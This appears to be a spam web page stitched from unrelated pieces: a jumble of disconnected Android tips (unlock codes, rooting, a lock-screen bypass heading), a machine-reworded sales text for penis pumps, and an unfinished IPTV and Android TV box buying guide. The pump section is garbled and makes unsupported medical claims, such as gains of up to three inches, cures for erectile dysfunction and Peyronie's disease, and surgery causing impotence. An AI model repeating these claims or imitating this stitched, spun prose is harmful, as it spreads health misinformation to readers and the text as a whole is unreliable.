containing a one time verification code, and having them enter that into your app. Get started with IFTTT, the easiest way to do more with your favorite apps and devices for free. Check Your Bill Balance: *225# On Android it prompt a SMS message with current balance due. Use your camera to scan the QR code …. Tap on the "Build Number" button about 7 times…. Verify phone numbers on the web with the WebOTP API. Choose your device name and device model first. First, you’ll need a Bluetooth keyboard and, of course, an Android device. Using an app-building tool speeds up the coding process. Main Components of an Android App. Additionally, Google has also released the Android 11 R GSI (Generic System Image) file for all the Project. Use your original Google username and password to finally unlock your phone properly; Enter your new security pattern twice to finish; All devices: Unlock via web. getDefaultSharedPreferences(this); if (!prefs. If you are using a free trial, please make sure that your two devices are under the same local network. Follow prompts to complete transaction. How to Bypass/Reset Lock Screen Code on LG Phone. Press and hold the Power key and the Volume down key. To deploy the application to Android Device the method is as same as deploy an application to Emulator but when "Choose Device" window shown, select your device instread Emulator. Also read: How to Share Files Between Android and Windows on Your …. Tap the "Live View" button to watch a live video stream from your device. Visit Samsung official website to download Kies. This should bring all the setting on your …. After entering the wrong PIN five times, you’ll see a prompt under the login window. The installed app will appear on your home screen, tap on it to. You will be told that you can try to use your old device to transfer data wirelessly. What to Do if You Forget Your Android Phone Password. From the pop-up menu, tap “Turn off Screen Time…. Click on the Profile Icon button on the screen. Click here and find out more information about secret codes…. Enable Developer Options In Android 10. The first thing we need to do is to create one shared preferences file per app. Turn your phone off and insert any other SIM. Wait until the slider stops moving, select your device. The Daily Limits feature makes setting screen time for your children simple. 0 and higher to profile your app's CPU, memory, and network usage. How to Setup and Use FTP Server on Android. Set up a Firebase Cloud Messaging client app on Android. Head into your device’s Settings > Security menu. Open the App that you want to Lock your Android Phone or Tablet to. Enter the code on your Android device. Get additional 12-month Extended Warranty (for in-warranty devices) & 12-month 120GB OnePlus Cloud Storage (get activation code via email, redeemable in OnePlus smartphone Settings menu or OnePlus Store app). (The Google USB Driver is located in android_sdk \extras\google\usb_driver\. Change Exchange email password on Android (Version 4. Turn off your Samsung Galaxy S2. Go to chrome://inspect#devices. Don’t miss: Remotely Access an Android Device from Another Android or PC. For Android phones — Tap Settings > Connected Devices > Settings icon (gear) next to the device name > Forget. The device code is available under the ‘options icon’ in the device app. Add Wacom One to your Android smartphone* and you basically add an extra digital canvas to your favorite tool. authenticate (promptInfo) To implement biometric authentication in your Android app, use the AndroidX Biometric library. Scan the code and pair your devices accordingly. How to Watch Ring Video Doorbell On Your Computer. Once you see the app, click on the Install button to install the app. In the Settings menu, choose Security, then Set up SIM card lock. Note: the 'Screen pinned' toasts do not come from the test application, the Android framework is providing misleading information. Record Type · Name Your Record · Enter Your Email or Username · Enter Your Password or Tap the Dice to Generate One (more on that here). or even from a friend's phone — each time you type in a Wi-Fi password, . Step 2 − Add the following code to res/layout/activity_main. Enroll Android device with the Microsoft Intune app and Entrust. Step 1 Scan or Input the Cast Code. A unique code for the selected device is shown in the One-time code field of the One-time device unlock code section. For example *#4636#* or *#4636#. 1 and below, follow these steps to pin screen with the app: Step 1…. Method 1: Root Android Phone via TWRP. /adb install, press Spacebar, drag and drop your Android app APK file onto the Terminal window, and press Enter. Coupon Verified! 307 Used Today. Head over to our tutorial on how to install TWRP on your Android device. Your Android phone offers several ways to protect your device, but having to input a password or biometric authentication every time you want to use your . Click on the Phone option and scroll down until you find the Downloads folder. Once your device and computer paired up, a 6-digit OTP (one-time-password) will appear on device screen. In most cases, it should automatically download the certificate. Simply enter the command below to boot it into the PC: fastboot reboot. Step 2 Now turn to your Android device, download and install Move to iOS app from Google Play store. Make sure your kids can't remove the app. Later, I added a small piece of code to write these incoming and outgoing numbers along with date and time …. To create a new device, click on Create Virtual Device button at the bottom-left corner. Your app starts on the selected device. You will be taken to the reset screen. Introduce first-time users to your app | Andr…. Configure the Burp Proxy listener. The update zip is the key, literally. Solution 1: Check the Buttons of Your Android Device. yourgame) All of the classes that go into making your game will go into the 3rd package; however, you cannot directly port a Java game to Android. Enter a partner code: Enter a partner. You need a Google account to do this. Once you've installed the Burp Suite certificate on your mobile device. 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Natural Remedies To Last Longer In Bed Out of thousands of hours of research … We have actually generated the outright most effective penis pumps that ACTUALLY WORK and also Don’t lose your time. Below is the leading penis pump we suggest based on our research study: Best Pump: The Bathmate HydroX Natural Remedies To Last Longer In Bed Every person we understand wants the within scoop on the very best penis pumps on the marketplace. Apparently, our career selection leads everybody to think we know where the excellent shit is; and without a doubt, we do. Our proficiency in the sex plaything and also couple’s therapy sector is indisputable. Simply put, we understand a thing or two regarding everything, including penis pumps. Yes, our professionally perverted asses have actually dabbled in the arts of penis enhancement for years. It’s sort of like exactly how a professional race car motorist could pander out his cars and truck since that’s his occupation. Fucking is life, would not you agree? So, we want to appear to the race with the very best automobile on the track. That implies spending a lot of time screening out the numerous penis pumps that flood the modern market. We might leave our visitors defenseless, searching willy-nilly online for a pump that provides halfway enjoyable results. A lot of the time, nonetheless, those individuals end up duped and pissed off. Consider us the spokesmen for the modern penis, the heroes of humping. Natural Remedies To Last Longer In Bed We understand that also big and in-charge men could stand a penis pick-me-up, yet because the demand for pumps is so hefty we usually locate dishonest sellers pressing products that are disappointing at ideal. That spunk ends now. Top Choice: The Bathmate HydroX What Is Bathmate HydroXtreme9? Bathmate HydroXtreme 9 is among the most prominent as well as effective variations of the penis pumps products by Bathmate. This item comes from the collection of HydroXtreme as well as works in improving the length in addition to girth of your penis which is done by developing a vacuum cleaner or suction result on the very same. The tool doesn’t make use of air to produce a vacuum, however, it relies upon making use of water to harness vacuum cleaner. This offers you a much safer as well as far better alternative to all the other penis pumps and also devices available throughout the market. By using HydroXtreme 9 routinely, you could boost the size, size, as well as the strength of your penis. A healthy penis would certainly better result in longer and far better erections. The manufacturers have specified that HydroXtreme 9 is has actually been developed for very easy and also daily usage, there are numerous various other advantages of utilizing this item. All you are required to do is to save a long time and also prepare yourself for an outstanding sexual experience with your companion. You can utilize this item in your shower. It takes only 15 mins for this gadget to aid you attain every little thing that you have actually been long yearning. Not only this, but the manufacturers additionally assert that you might achieve a penile length boost by 1-3 inches upon erection on the very first use this item. This penis pump could additionally assist you in treating the issue of erectile dysfunction more naturally. The HydroXtreme series of Bathmate makes up 5 different sized pumps as well as HydroXtreme 9 is just one of them. This collection likewise includes removable handballs as well as valves that together help in reinforcing the pressure bordering your penis. As a result, added blood hurries to your penile tissues or corpora cavernosa, resulting in a strong erection and longer size. Just How Bathmate HydroXtreme9 Works? The functioning principle of Bathmate HydroXtreme9 is based on water-based vacuum stress. Hence, the producers have actually relocated far from conventional air-based stress. This is due to the fact that the water based stress is more reliable in improving the blood flow equally throughout your penis location. As soon as you have actually loaded the cyndrical tube with hot water as well as place your penis inside the cylinder. You would certainly be able to change the pressure using the handball that has actually been connected to the cylinder. The comfort pad that has actually been attached supplies wonderful assistance when you are attempting to preserve a vacuum inside the pump. Because of this, the suction is boosted as well as the get in touch with between you and also the cylinder is boosted. Natural Remedies To Last Longer In Bed Once the correct pressure is preserved, you will certainly really feel a thrill of blood moving to your penis are. Directly speaking, most of the moment, with just 5 press of the handball, suitable pressure is kept. This was an optimum number for me that helped me quite well. One more great aspect of Bathmate HydroXtreme9 is the front component. The manufacturers have actually consisted of an unique pin or a pip that allows you to release the extra pressure. As a result of this, you would have the ability to change stress to a very minute degree. Hence, the use experience would be according to what you fit with. You might utilize this pin as a safety and security pin. Similar to the correct use, there are extremely couple of chances of any sort of damage to your penis. Just How To Make Use Of Bathmate HydroXtreme9? In the first step you need to cleanse the device making use of the sponge that comes with the packaging. Currently you need to fill up the pump with warm water as well as push down its stress shutoff. After this, you are required to put your penis right into television until it touches your pubic bone. Post this close the front nose. In order to maintain stress, you currently require to start pushing the handball. Wait for the suitable stress to be established. Required to await 10 minutes so that erection is attained. Currently, eliminate the water using a shutoff. Once it is empty, push the major valve. This would launch the stress after which you can securely eliminate the pump. Bathmate HydroXtreme 9 is quickly able to pack men with 7.5 to 9.5 inches of the penis, thus a perfect model from the HydroXtreme array. You can repeat this procedure every day in order to boost your sex-related performance. Functions Of Bathmate HydroXtreme9. According to the designers of this item, Bathmate HydroXtreme 9 is the genuine penis pump power that you have been long looking for. This item is simple as well as delights numerous impressive features and benefits that aid your penis obtain the preferred length, girth, and stamina. You may experience enhanced sexual efficiency hereafter item frequently. The manufacturers advise HydroXtreme 9 for bigger individuals who have an erection size in between 7.5-9.5 inches. Listed here are the important functions of this product:. This penis pump is a premium item the regular use which aids to improve the length, girth, and also firmness of your penis. It boosts the flow of blood in your penis which helps to preserve its overall wellness and strength and enhances your erection dimension and also firmness. The item is a worth accessories pack which includes various devices working together to improve the total penile wellness. There is a pretty brand-new as well as sophisticated handball pump that aids to regulate the stress on your penis. You can just squeeze the handball pump to change the maximum stress. This item lets you readjust the pressure within your pump according to your convenience and also need. HydroXtreme 9 has been developed in such a way that it prevents over-pressuring, consequently cutting down injury on your penis. You can attain an optimum degree of pressure without the fear of obtaining hurt. The innovative hydro pump design of HydroXtreme serves manifold benefits. This product consists of a convenience pad making use of which you can create a tighter seal to get in the pump. The sturdy layout of this pump ensures that you would certainly attain better efficiency in bed in the future. The shutoff of this penis pump has actually been upgraded by the manufacturers which makes it less complicated to use. You could also fill this pump one-handed. Bathmate HydroXtreme9 Testimonial: Use Tale. My friend learnt about this penis pump from among the internet web site. This occurred to him when he was looking for means to raise his sexual performance without using tablets. Natural Remedies To Last Longer In Bed Penomet In this Penomet testimonial, we’ll cover every little thing there is to learn about the pump, consisting of exactly how to utilize it, its performance, before as well as after results, and customer evaluations. Great deals of men are worried about their penis dimension. If you fall under this classification, it’s time to address your penis’ size as well as girth. It matters not how huge or little your penis is; Penomet can help you get the outcomes you desire. Don’t allow an absence of self-confidence come from your penis’ dimension maintain you down; find a solution for it. Penomet guarantees that its advanced pump and also the workouts built around it will certainly create results. When it involves changing the one part of your body that you never thought would certainly boost or expand, it’s never been less complicated. The Penomet pump has come to be a market leader in the field of penis enhancement. It is a superb option to surgery or standard air pumps. WHAT IS THE PENOMET PENIS PUMP? The Penomet pump is a cutting edge gadget. Since it is easy and also efficient, it has actually controlled the market since it was first launched. This Hydropump has developed itself as a major contender for the most effective penis augmentation option offered on the market today, exceeding both traditional vacuum cleaner penis pumps and surgery. The Penomet pump, which was made by experts and also has been made use of by a lot of people, is special, comfy, and safe. The pump’s success can be credited to its unique style and also compatible gaiters, which enable clients to regulate the stress that is related to the penis and also get the results they desire. Although all it takes is 15 minutes a day for a minimum of one month to gain approximately 3 inches in length as well as a 30% rise in girth, outcomes show up after each pumping session. There are many benefits to using the Penomet pump. It enhances self-esteem, treats Peyronie’s disease signs, raises sex-related stamina, and protects against premature climaxing as well as erectile dysfunction, to name a few points. Natural Remedies To Last Longer In Bed AN AWARD-WINNING PRODUCT. Penomet’s designers have quickly accumulated a credibility that is self-evident. A glimpse at the Penomet internet site shows that the firm has actually made a lot of success in a short time. This shows that their water-based device is as reliable as they claim to be. The Penomet pump won two 2013 Venus Honors: “Best New Male Enhancement Device” and “Best New Item”. As essential as awards are, what matters most is the efficiency of the item as well as the contentment of the customers, two elements that have remained in perfect consistency considering that Penomet’s inception. HOW DOES PENOMET FUNCTION? Penomet has been confirmed medically to enhance the penis dimension by as much as 3 inches in size and also approximately 30% in girth. These cases are backed up by many scientific studies and countless client testimonies. Penomet is an innovative pump not only as a result of just how well it functions, however additionally because of how very easy it is to utilize. Standard air air pump press and also broaden air in a non-uniform method, which triggers unequal as well as agonizing penis enhancement. On the other hand, the Penomet pump is a water-based gadget that allows for a comfortable expanding procedure with flawlessly balanced quantity as well as pressure dispersion within the cyndrical tube’s body. Penomet is a pain-free, comfy, and straightforward gadget to utilize. Because the cyndrical tube can be attached to 5 flexible gaiters, the user can progressively raise or lower the gadget’s stress. Controlling and managing applied pressure can increase results by as much as 65%. The developers of the Penomet recommend 15 mins of use per day, which can conveniently be completed while taking a shower or bathroom. HOW TO USE PENOMET? For those who have actually never ever used a penis pump previously, the Penomet is very basic to use and recognize. The pump features comprehensive guidelines that can additionally be found on the company’s main website. Male can additionally discover more concerning the tool and just how it works by enjoying tutorials. Penomet’s mission is to assist individuals obtain the best results feasible with the least quantity of time and initiative. The best way to utilize the pump is to comply with the actions listed below:. The best approach is to start with the lowest gaiter setting. Typically, this is the purple-colored 60 gaiter. If this gaiter does not function, merely carry on to the following one. Affix the gaiter of your choice to the main cyndrical tube of the Penomet. This is the section of the pump that in fact does all the compression as well as development. Location the primary cylinder of the Penomet over your penis. Ensure that it is totally inserted and gently pump it to make sure that it is entirely secured. The Penomet appropriates for usage anywhere, yet is most often used in the bath or shower. After the pump has actually been attached, it is time to begin pumping. Pump the device every couple of mins, stopping briefly for relaxation. Do this procedure for 15 to 20 minutes to ensure the tool works appropriately. To remove the gadget as well as see your outcomes, press the shutoff at the end of the cyndrical tube as well as pull it off. As basic to use as the Penomet pump is, it supplies much more than fulfills the eye. Unlike its rivals, this hydro pump can be utilized in the shower, tub, or in the standard fashion. The penis pump develops a suitable vacuum that always offers the most effective outcomes thanks to its innovative AquaPressure system. Natural Remedies To Last Longer In Bed Due to the pump cylinder’s premium polycarbonate plastic construction, it is practically indestructible. The gaiters, on the other hand, are made from medical-grade silicone. The Penomet pump has an exact dimension range and also a 360-degree stress release valve that makes it simple for males to make use of. CERTIFICATIONS. The developers of Penomet were not satisfied with creating among the globe’s very successful items; they preferred to place it to the test and also have it formally licensed by a variety of credible global and also European organizations. These companies did examinations and discovered that the penis pump satisfied the finest quality criteria. Penomet is the only penis pump on the marketplace that lugs the CE Mark, accrediting that it follows European Union regulation. Also, the penis pump is SGS-certified, which indicates it is without toxic substances and also does not include any kind of prohibited or restricted chemicals. WHAT MAKES PENOMET SO DIFFERENT? The Penomet pump is far better than all other alternatives in regards to efficiency and also results, in addition to safety. Let’s have a look at exactly how it compares versus the other most prominent penis enlargement techniques:. Surgical enhancement: There are a variety of downsides to this method of penis augmentation. To start, surgery would cost at the very least $4000– and that’s for a gain of just 0.8 to 1.7 inches, less than half of what Penomet could offer after just one usage. Worse, medical augmentation generally leads to erectile dysfunction. Penomet, on the other hand, functions to relieve or get rid of erectile dysfunction. Conventional penis pumps: This is the most effective choice on the checklist, but it disappoints the Penomet somehow. When you make use of a conventional pump, you take your safety into your own hands, as these pumps run via an atmospheric pressure device that can bring about blisters and also blood vessel bursts. In addition, the outcomes can take anywhere between 6 months as well as a number of years to take place. Penis enhancement pills: In the beginning glance, pills may appear to be a secure option, however they are the absolute worst. Furthermore, scientific examinations have actually located damaging ingredients in male enhancement tablets, such as E. coli, lead, as well as mold and mildew, as well as the reality that the majority of them are rip-offs that do not operate at all. Also, you need to acquire pills every month (the price is unbelievable, and also they don’t also work). Cosmetic enlargement: You can likewise have your pubic hair cut to make it resemble you have a bigger penis. Your female will not be deceived, even if it may appear as though there is a gain. No alternative exists for Penomet, which offers an authentic increase in size. CUSTOMER TESTIMONIALS AND COMMENTS. This penis pump has been really well-reviewed by men around the globe, as well as you’ll see that not only does it aid to boost dimension on the whole, yet it additionally makes erections bigger as well as harder. You won’t obtain outcomes like that with other items. ” My partner acquired me the Penomet after hearing me complain regarding my smaller-than-average penis dimension numerous times. She recognized I could not buy it on my own due to the fact that I was as well ashamed, but she still aided me as well as sustained me with using the pump. Since then, my penis has grown 2.4 inches in length as well as acquired an added 1.2 inches in girth. Unbelievable.”. Jerome, CA. ” I have actually seen some pretty extraordinary results from this. I have actually gotten over an inch in the last 6 weeks.”. Jack, US. ” I purchased the Penomet believing it was all a joke and a sham to defraud me, however I was wrong. Because of this amazing pump, I currently have a big penis. I think every guy must have one.”. Adam, UK. HydroMax They have been created for temporary penis augmentation– even with normal use, the results are not permanent. For long-term enhancement we lug a big choice of unique items. Bathmate HydroMax9 use water stress unlike traditional penis pumps. Thanks to this ingenious modern technology, guys can view noticeable development after just a brief amount of time. The Bathmate HydroMax9 appropriates for males that have a maximum of 19 cm big penis in the erected state. Natural Remedies To Last Longer In Bed For the pump to be a success, here are our primary ideas for use:. Load your bath tub with water (also possible under the shower). As soon as you are sitting in the tub, hold the Bathmate HydroMax9 under the water to ensure that it can entirely fill up. Still under water, placed him on your penis. Now press the pump versus your tummy up until a vacuum is created. You should be able to feel the stress boost. Do not stress, excess water is drained pipes routinely through the pressure shutoff on top of the Bathmate HydroMax9. Remain to increase the stress up until say goodbye to water seeps out of the pressure shutoff. If you can not continue pumping, take a time-out. If it does not function after the break, it means that you have actually currently produced the ideal vacuum cleaner. Repeat the workout for about 4-5 minutes. Each time your penis expands, the water is released from the pressure shutoff. Once again, as quickly as no more pumping is possible, you have actually reached the optimal vacuum cleaner. If the stress is expensive for you, simply push the pressure relief valve at the end of the Bathmate HydroMax 9 as well as the stress will instantly reduce. After around 15 mins, release the pressure as well as get rid of the pump from the penis. The training is over. The Bathmate HydroMax9 should be made use of only once daily for 15 minutes and also only a maximum of 3 times a week for the best outcomes. There are lots of advantages to using the Bathmate HydroMax series:. • Your penis will expand larger quicker, because the water can extend the skin much better. • The erection obtains tougher. • The outcomes are recognizable and identifiable after approx. 15 minutes. • The climax can be intensified. • The love game with your companion can come to be a lot more extreme. • Can assist with disorder. • Cleaning: Make use of a toy cleaner or warm water with moderate soap. The Bathmate HydroMax9 has the most recent modern technology to enlarge your penis with water technology. It generates 35% more suction power than Bathmate Hercules thanks to its unique, freshly created Bellows pumping system that offers you far better and also much faster magnifying. You can review why water penis pumps are far better than air-based penis pumps here. Determining range provides you a far better introduction and the brand-new sensible and also grip-friendly surface area makes it less complicated to hold. The internal dimension has increased so you can attain even more excellent long. It is also perfect for males that intend to take pleasure in the common love or solo self pleasure with a few extra centimeters, yet do not want to go through any type of clinical or surgical treatment. You will regard after a short time a significant increase in density and also size. Not just will your penis enlarge by using the pump, you will certainly additionally have the ability to enjoy the excitement of lovemaking much more intensely! How to clean your Bathmate HydroMax9. After usage it is really easy to cleanse the Bathmate HydroMax9. Area both the convenience insert as well as the penis pump in some soapy water as well as laundry completely. Wash every little thing with clear water and afterwards let the penis pump dry in the air. Shop in a completely dry location far from straight sunlight when the penis pump is not being used. Natural Remedies To Last Longer In Bed The magnifying effect of this penis pumps is not permanent– eventually, your best piece will certainly swell and also start to change to its initial size. Likewise for the permanent augmentation of your penis there are aids in the erotic industry, yet these require a great deal of perseverance and also routine usage. Advantage promptly from the result of a penis pump! Therefore, penis pumps are a great begin for all males that intend to try out a device for more dimension as well as efficiency. They are likewise a sensible supplement for long-term augmentation by a penis enlargement toy. Extra size, more feeling, more satisfaction. Not just do this penis pumps enhance the size, volume and also period of your erections, they additionally give one of the most sensitive areas of your penis with more blood, making them even more receptive to the intense excitement of solo self pleasure or lovemaking. With a penis pump you will be able to delight in extreme, remarkable orgasms. Penis pumps are prominent as a result of their performance and also performance. Simply excuse lovemaking, maybe 2 mins from your companion, as well as pump your arm or leg to the wanted size. Your partner will certainly not speak with your assistant– and also definitely worth their enhanced performance. By the way, the feeling you will feel when making use of the pump is not to be despised– sucking out the air is a tingling sensation you do not even require to touch your penis. Not just you, yet additionally your partner will take advantage of your penis pump. The magnifying impact of the pump lasts for a couple of hrs, so you will have plenty of time to ruin your partner with your uncommonly huge and effective best item! Extensively made use of as well as prominent. Penis pumps are now utilized by males worldwide. They have actually been confirmed in different researches in their performance, as well as are enjoying international appeal. It is exactly due to this appeal that a variety of versions are being created, and also new, ingenious penis pumps are being developed time and again. All of the pumps we choose work with the same concept– similar to a training gadget for any part of the body. Initially, you wrap your penis airtight by wearing, and then eliminate the air from the enclosed area by pumping it till a vacuum cleaner is developed. The resulting vacuum raises the blood supply to your arm or leg, which subsequently brings about more size, more size as well as more sensitivity. Natural Remedies To Last Longer In Bed In-depth information on the products made use of and the special functions of the individual penis pumps can be discovered in the respective item summaries. I would advice you to select the HydroMax5 if your penis is 5 inches or smaller, you can learn more about the best tiny penis pumps as well as why they might be the far better alternative for you. If any type of concerns remain unanswered, or if you require aid selecting a pump that is excellent for your demands and objectives, feel free to call us today. You’re getting a top quality pump for an excellent cost and it’s not that much behind in regards to power compared to the top 2 ideal penis pumps.

This century has given humanity a vast range of blessings in the form of technology. Mesmerizing thoughts, remarkable inventions, and sparkling lights of new formulations are expanding the bag of technology. Diversity and competition go hand in hand; the race of achieving more and being on the top is the talk of the town nowadays. The world is changing with the speed of light. Inventing and exploring new things has swapped the mindset of humans. We all want to see what is new? What is next? All these queries are inside the soul, and on solving them, a new dimension came forward. The sense of ultimate pleasure in achieving has given man the desire to explore more and more. Back in the day, the word entertainment has a definition in different forms. People in the past use to enjoy circuses or game shows. But with the advancement, the entertaining world came on the big screen of our homes. With every passing day, the revolution in this field has taken the game to its peak. We have seen the days of black & white TV, the traditional broadcasting through satellite and antenna. But currently, we are visualizing a whole new facet through the internet. The birth of the internet has given us a lot of stunning commodities. This big crisscross is developing and changing this world into a global village. The entertaining world has a deep connection with the internet. IPTV is one of the bewildering inventions of the time. What actually is IPTV The basic definition of IPTV revolves around the concept of transferring the medium of broadcasting from traditional to advance technology. IPTV (Internet Protocol Television) is an internet-based technology. As we are living in 2020 so, the demands and desires are sky-high. We want to see the world of amusement on a different level. IPTV is a streaming service under which many service providers are providing their startling content through wireless internet or Ethernet. IPTV streams several channels and Videos on Demands. Some of the services are free, and some of them have charges. IPTV has beaten traditional broadcasting in many ways. The quality and quantity of streaming channels on IPTV are much higher than regular broadcasting. IPTV is budget-friendly and has given the audience to switch on it from the local system. A survey has mentioned that the cost of traditional broadcasting is 99 dollars per month. It seems to be a burden on your pocket while IPTV is modestly providing many services. It has given you the authority to watch the desired show everywhere, even if your country does not support the content, but you can watch it by using VPN. Here we will thoroughly explain the system of IPTV Streaming on IPTV IPTV service providers IPTV is a streaming protocol. There are many service providers whose content is sky-high and with zero buffering. We would like to describe some of the famous and most appreciated IPTV services in the USA. They have cost next to nothing with thousands of channels and Video on Demand. Here are top 4 service providers in the world: You may also like: Devices supporting IPTV content To avail of any of the services, you must have these three commodities. Firstly, the tool through which the subscription has been done. Secondly, a good connection with the server. Thirdly, smooth internet connectivity. These three steps will lead you towards your sheeny content. Let us discuss the first step; devices supporting IPTV content: Smart TV For IPTV best streaming, there is a need for a set-up box or any other device. One of which is Smart TV, it has a built-in streaming system. Let us share the Smart IPTV service for the best results. SIPTV SIPTV is another name of Smart IPTV. It is known for its excellent EPG. SIPTV does not have channels itself but gives you access to many channels after subscribing to the desired service. It is an android Application and is already available on many Smart TVs. This program needs some effort in installation. If you have Samsung Smart TV, then there are two methodologies for installation. Samsung has removed the SIPTV from its functioning. But still, there is hope that you can enjoy your content on Samsung Smart TV. The game of installation is different for Tizen OS and Non-Tizen OS Samsung TV. The installation methodology is also different for LG Smart TV. In Short, you must have to see the service you want to enjoy before subscribing to it. Some of the services are not for Smart TVs. So, you have to buy another set-up for the IPTV stream. Verdict on Smart TV In short, we will give an honest review of Smart TV for IPTV streams. Smart TVs are not trustworthy in the case of IPTV. Their mechanism responds slowly on streaming content of high quality, slow navigation is also a crucial issue, and the processing of Smart TV seems slightly low while running any of the IPTV content. So, using a Smart TV is not a good option. Mobile Phone / Tablets We all have an addiction to mobile phones, and the rate at which a person uses them is a bit high. The whole world is now on our phones. This gadget has replaced several things like calendars, wristwatches, desktop computers, and many more. All the desired content is in your pocket, and internet connectivity allows you to do every single task on your phone. This evolving world is shrinking into a small village of technology. The role of mobile phones in the entertaining world is beyond exception. There are many gaming applications, Facebook, Instagram, Twitter, and many others. This eye-catching technology has made another bewildering step by connecting the user with an IPTV server on mobile phones. Yes, you can have access to perplexing content on your mobile phones. Mobile phones and tablets have built-in formulations for supporting high-quality content. Using IPTV services on your mobiles have vital advantages like you do not have to pay extra charges for separate devices, everything is available at any time and any place. The software in mobile phones or tablets has the capacity of streaming the 4K content. The prime issue in this scenario is that these devices have a small room for your content, which means that you are not able to enjoy content on the big screen. From our point of view, the majority will never prefer to watch movies or series on a small screen. The ease and fun in feasting the content on big screens are way more than on small screens. But this problem also has a solution you can use screen mirroring to attain the best outcomes. It allows you to connect the content with your TV screen wirelessly. We think so that the issue is on resolving terms, as the use of screen mirroring has made the work easy for us. There is one more discouraging point in the usage of mobile for IPTV streams. You can have access to just small media at a time. There are many services whose applications are not available on mobile phones. So, your command on the content goes on the downward side of the graph. It is the personal choice of the user to select the medium for IPTV streams. Mobile phones and tablets are the best choices for the community on low-budget. But those who want to enjoy the content of high quality and quantity must have to go for IPTV set-up boxes. Boxes for IPTV services Here arrive the original game player in the streaming world of IPTV. The actual purpose of these boxes is to stream the content. Their whole functioning and designs are honestly for streaming content. The above two devices lag in the race of competition when the actual gadget jumps in the contest. A TV box allows you to watch the content on your big screen. These boxes usually connect with the TV, and through an internet connection, the server delivers the required content. There are many boxes, Android box, Roku, Fire TV, but we will discuss the Android boxes in detail. What actually is an Android Box Android TV box runs on the Android operating system, the same order in which an android mobile phone steer. Most of the time, the Android system got the privilege over the Apple Operating system because Apple will support only Apple gadgets, while Android supports different hardware and has price flexibility. Remember these points before buying any of the TV box: - Software - Video and Audio Quality - Stable internet connectivity Let us dive in the sea of reliable and affordable Android Boxes: 1. HK1 R1 Android TV Box This Box is the ‘Boss of the Town’. The sleek design and protean shows that it’s a game-changer. Let us see what’s inside the colossal pool of its features. HK1 R1 has 10.0 Android OS shows that its working potential is up to modern needs and standards. This latest box seems to be a perfect fit for your IPTV streams. HK1 R1 is reliable, and the graph of compatibility has its existence on the powered Rockchip RK3318 chipset. It enables us to see the live streaming and other shows at 4K resolution. In the case of connectivity, it comes up with a strong dual-band 2.4 and 5GHz Wi-Fi. The storage this box is providing will shock you 2/4 GB RAM and 16/32/64/128 GB ROM; you can have the capacity according to your demands. In short, this box has all the stunning features. So, avail of it if you are a true fan of IPTV service. 2. H96 MAX RK3318 Android TV Box H96 MAX Android Box seems to be a tough competitor. This simple black box with shiny texture on it has all attributes according to our demand. This box has an Android 10.0 operating system, completely adorned with the latest technology. Its Quad-core processor can stream the content of services like Netflix, Amazon Prime, and many others with no hurdle. The Google play store in this system allows the user to download the applications of their own choice. The storage is 2/4 RAM AND 16/32/63/128 GB ROM, similar to the above box. All of its features are great in streaming content, but in the scenario of heavy gaming this product heats up, and the processing becomes slow. Its price and features; make you think about buying it. 3. X96Q MAX Android TV Box X96 Max has a 9.0 Android operation system with a Powerful S905X3 chipset. It allows the user to enjoy the stream with high assurance. This box is also for Gamers and seems to be a blessing for them. The storage of this gadget is 4GB RAM and 32 GB ROM, wholly on the standards. This box has low power DDR3, the power consumption is small, and has colossal storage according to today’s time. The Wi-Fi connectivity is 2.4G and 5.8G. It will give you a smooth content flow and fully supports the 4K quality content. The addition of IR + Voice remote control does not seem an acceptable choice. The expectations become sky-high after listening about this feature, but the outcome is not according to the desired level. Overall, this box is a good choice for streaming IPTV content. 4. DOLAMEE D5 Android TV box This android box has several features like 4K resolution, Quad-core processor of 1.5 GHz, WI-FI and Bluetooth connectivity, and 8 GB storage. These perplexing features have already grasped the attention of the audience; one of the stunning features, on the furtherance, is that its price is under 75$ only. If you are a new user, then this gadget perfectly fits you. 5. Globmall X3 Android TV box It will be fair to call Globmall X3 Android TV box an All-Rounder. Its features are great. Let us have an eye on them. It has a 1.5 GHz Quad-core processor, 4K resolution but lags in storage. The total storage is about 2 GB, which is utterly less, but you can add up more by inserting a 32 GB SD card. It also has an external remote, giving you full ease to control from where ever you want. One of the specialties of this gadget is that its functions operate on the latest Android OS. Generic Android Boxes As mentioned above that the Android boxes have the same operating system as the mobiles. We will call these boxes the small house of power as they are capable of providing the streams of high quality with extreme efficiency. We have seen that the vital purpose of an Android box is to provide IPTV content, but you can also take many advantages from it like web browsing, playing games, and installation of many other office applications. Android TV boxes are the house of entertainment, as they provide a wide range of content with high quality. Android boxes are pocket-friendly, but if you are a true fan of IPTV assistance, then you will invest in an expensive product for better results. Although the quality is not bad at a low rate, the costly device has more features, and the graph of their reliability is much higher. There is a list of paid and unpaid IPTV services you can avail of the one you like the most. Let us see the list of free IPTV streams. - YouTube - BBC iPlayer - Pluto TV - Popcorn Flix - Ruko TV Now see the paid ones - HBO now - Netflix - Starz - Amazon Prime - Acorn TV Both lists do not end here. There are many other services, but the above mentioned are all legal and easily accessible. The paid services have more content in quality and quantity. You can watch thousands of Video on Demand at any time. It is up to the user to dig completely inside the research. So, before purchasing any of the deals, undergo a thorough review. IPTV set-top Boxes There are some companies directly linked with IPTV services. BuzzTV is a big brand and well-known in the field of producing the best IPTV boxes. You may also like: Best IPTV Boxes of 2021 1. BuzzTV XRS 4500 MAX Buzz TV is famous for generating stunning products like X96 4000 and 4500. But now it has launched a new gadget for IPTV streams ‘X96 Max 4500’. This gadget is the latest addition to their family. This box has a 9.0 Android operating system, 128 GB Memory, 4GB DDR RAM, Bluetooth LED remote control, Gigabit LAN, and the user-interface is two times faster than the previous ones. This quick interface has doubled the product quality. It has extra efficiency in dealing with multiple apps at one time. The EPG in it is up to standards, as it helps in keeping the list of movies or channels in a manageable form. Also, it aids in selecting the content. Its updated system has the potential to restore and refresh at high speed. In short, the system performance is exceptionally high. It has a thermal reduction metal base, which aids in lowering the heat if the content of high quality is running. Overall, this product is a complete package and has all the required abilities to run any of the IPTV services. 2. Formuler Z8 . There came a new and upgraded system as the competition is sturdy. The competitors have left no stone behind in introducing a high-quality product. Formuler Z8 is an android box and has many features and specialties. 3. MAG/424w3 This small light-weighted IPTV set-top Box has many aspects. Let us dive directly into them. The weight of this compact box is 180g only but can perform like a fine TV box. It has Linux 4.4.35 operating system; MAG/424w3 has a quad-core processor with a Hi3798MV200 chipset. The whole functioning is good and makes the box a sturdy competitor. While it lags incapacity, one GB RAM and 8GB ROM are utterly less, as today’s needs are tremendously high when it comes to space. Also, it has 3.0 USB and 4.1 Bluetooth to connect any external device to cope with the storage issue. Overall, MAG/424w3 has the potential to run 4K content even on 